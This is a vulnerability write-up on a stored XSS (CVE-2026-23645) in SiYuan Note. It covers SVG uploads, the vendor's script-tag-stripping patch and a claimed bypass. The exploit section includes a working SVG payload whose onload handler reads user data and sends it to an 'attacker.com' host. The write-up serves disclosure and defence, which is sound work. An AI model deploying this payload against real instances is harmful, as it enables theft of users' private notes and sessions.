CVE-2026-23645

The Note That Took Notes on You: Bypassing SiYuan's SVG Sanitization

Alon Barad
Alon Barad
Software Engineer

Jan 16, 2026·5 min read

Executive Summary (TL;DR)

SiYuan Note < 3.5.4-dev2 allows Stored XSS via malicious SVG files. The application serves SVGs as `image/svg+xml`, allowing embedded JS to execute. The vendor's patch only strips `<script>` tags, meaning exploits using `onload` or `onerror` still work. This is a textbook example of why 'sanitization via deletion' fails.

SiYuan Note, a privacy-focused 'local-first' knowledge management tool, inadvertently turned user notes into a playground for JavaScript execution. By allowing raw SVG uploads without proper sanitization, the application enabled Stored XSS. Even more interestingly, the initial patch attempted to fix this by simply deleting `<script>` tags—a classic 'whack-a-mole' mistake that leaves the door wide open for event-handler-based exploits.

The Hook: Privacy-First, Security-Maybe

SiYuan Note markets itself as a privacy-first, self-hosted personal knowledge base. It's the digital equivalent of a locked diary under your mattress. Users store their most intimate thoughts, passwords, and proprietary research in these markdown files. The premise is simple: you own your data.

But here is the irony of self-hosted tools: when you own the infrastructure, you also own the vulnerabilities. And in this case, the vulnerability lies in how the application handles 'assets'.

Modern web apps love rich content. We don't just want text; we want diagrams, images, and icons. SiYuan allows users to upload Scalable Vector Graphics (SVG) to make their notes pretty. The problem? The developers treated SVGs like simple bitmaps (like JPEGs or PNGs). They aren't. SVGs are XML documents that can contain Turing-complete code. When you let a user upload an unchecked XML file and then serve it back to other users, you aren't building a gallery; you're building a launchpad.

The Flaw: XML in Disguise

The root cause here is a misunderstanding of file formats. To a browser, an SVG served with the MIME type image/svg+xml is an active document. It has a DOM. It has a window object. It can execute scripts.

SiYuan stores uploaded assets in a public assets/ directory. When an authenticated user opens a note containing a malicious SVG, or navigates directly to the asset URL, the browser parses the XML. If that XML contains JavaScript, the browser executes it within the session context of the victim.

This is 'Stored XSS 101'. The developer failed to implement a Content Security Policy (CSP) restricted enough to stop inline scripts, and they failed to sanitize the input on upload. They effectively built a mechanism for an attacker to persist a payload on the server that activates whenever a user looks at it.

The Code: A Failed Attempt at Sanitization

Let's look at the patch introduced in commit 11115da3d0de950593ee4ce375cf7f9018484388. The developers realized they had a problem and implemented a function called RemoveScriptsInSVG.

Here is the logic snippet from kernel/server/serve.go that handles the interception:

func serveSVG(context *gin.Context, assetAbsPath string) bool {
    if strings.HasSuffix(assetAbsPath, ".svg") {
        data, _ := os.ReadFile(assetAbsPath)
        // The "Fix"
        if !model.Conf.Editor.AllowSVGScript {
            data = []byte(util.RemoveScriptsInSVG(string(data)))
        }
        context.Data(200, "image/svg+xml", data)
        return true
    }
    return false
}

The intention is noble: read the file, strip the bad stuff, serve the good stuff. However, the implementation of RemoveScriptsInSVG (in kernel/util/misc.go) uses an HTML parser to identify and remove <script> elements specifically.

This is a fatal error.

In the security world, we call this 'enumerating badness'. The developers assumed that <script> tags are the only way to execute JavaScript in an SVG. They forgot about the dozens of event handlers (onload, onmouseover, onerror) and the javascript: protocol in generic anchors.

The Exploit: Bypassing the Patch

Because the patch was incomplete, we can re-exploit this vulnerability immediately. A standard script tag attack is blocked, but we don't need script tags to ruin someone's day.

The Attack Chain

  1. Craft the Payload: We create an SVG that uses the onload attribute of the root <svg> element. This executes immediately upon rendering.

    <svg xmlns="http://www.w3.org/2000/svg" 
         onload="fetch('/api/user').then(r=>r.text()).then(t=>fetch('https://attacker.com/exfil?d='+btoa(t)))">
      <text x="20" y="35">Look at me!</text>
    </svg>
  2. Upload: We upload this file to the SiYuan instance. The server receives it, runs RemoveScriptsInSVG, finds zero <script> tags, and saves it exactly as is.

  3. Execution: We share a link to this asset or embed it in a shared document. When the victim views it, the onload fires.

  4. Exfiltration: The payload above fetches the user's profile data (or private notes) and sends it base64-encoded to the attacker's server. Since SiYuan is a Single Page Application (SPA) relying heavily on APIs, XSS here grants full control over the user's data.

The Impact: Reading the Diary

Why is this bad? It's just a note app, right?

Remember, SiYuan is designed for knowledge management. People don't store grocery lists here; they store trade secrets, personal journals, API keys, and server configs. The XSS executes in the context of the application's origin.

  1. Data Exfiltration: An attacker can use fetch() within the malicious SVG to read every single note in your database and send it to a remote server.
  2. Account Takeover: If the session cookies aren't strictly locked down (and even if they are, often tokens are stored in LocalStorage), the attacker can hijack the session.
  3. RCE Potential: In some self-hosted setups, admin features might allow executing system commands or installing plugins. XSS allows an attacker to drive the admin's browser to perform these actions via CSRF.

The Fix: Stop Parsing, Start Sandboxing

The current patch (stripping <script> tags) is insufficient. It is merely a speed bump for a determined attacker. Here is how to actually fix it:

  1. Content Security Policy (CSP): This is the strongest defense. Serve the application with a CSP header that forbids inline scripts (script-src 'self'). This renders the SVG payload inert because the browser refuses to execute the inline code.

  2. Sandboxing: Serve user content (assets) from a completely different domain (e.g., usercontent.siyuan-instance.com). This ensures that even if the XSS executes, it runs in a sandbox origin that has no access to the main application's cookies or LocalStorage.

  3. Proper Sanitization: If you MUST sanitize, do not write your own regex or parser. Use a battle-tested library like DOMPurify. Configure it specifically for SVG to strip all event handlers and scriptable attributes, not just script tags.

Immediate Action: For now, treat all SVG files from untrusted sources as radioactive. Do not open them in your browser.

Fix Analysis (1)

Technical Appendix

CVSS Score
5.3/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Affected Systems

SiYuan Note < 3.5.4-dev2

Affected Versions Detail

Product
Affected Versions
Fixed Version
SiYuan Note
SiYuan
< 3.5.4-dev23.5.4-dev2
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork
CVSS v4.05.3 (Medium)
ImpactSession Hijacking / Data Exfiltration
Exploit StatusPOC Available
Patch StatusPartial / Incomplete
CWE-79
Cross-site Scripting

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Vulnerability Timeline

Vulnerability Published
2026-01-16
Patch Released (v3.5.4-dev2)
2026-01-16
Researcher Analysis identifies patch bypass
2026-01-16

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.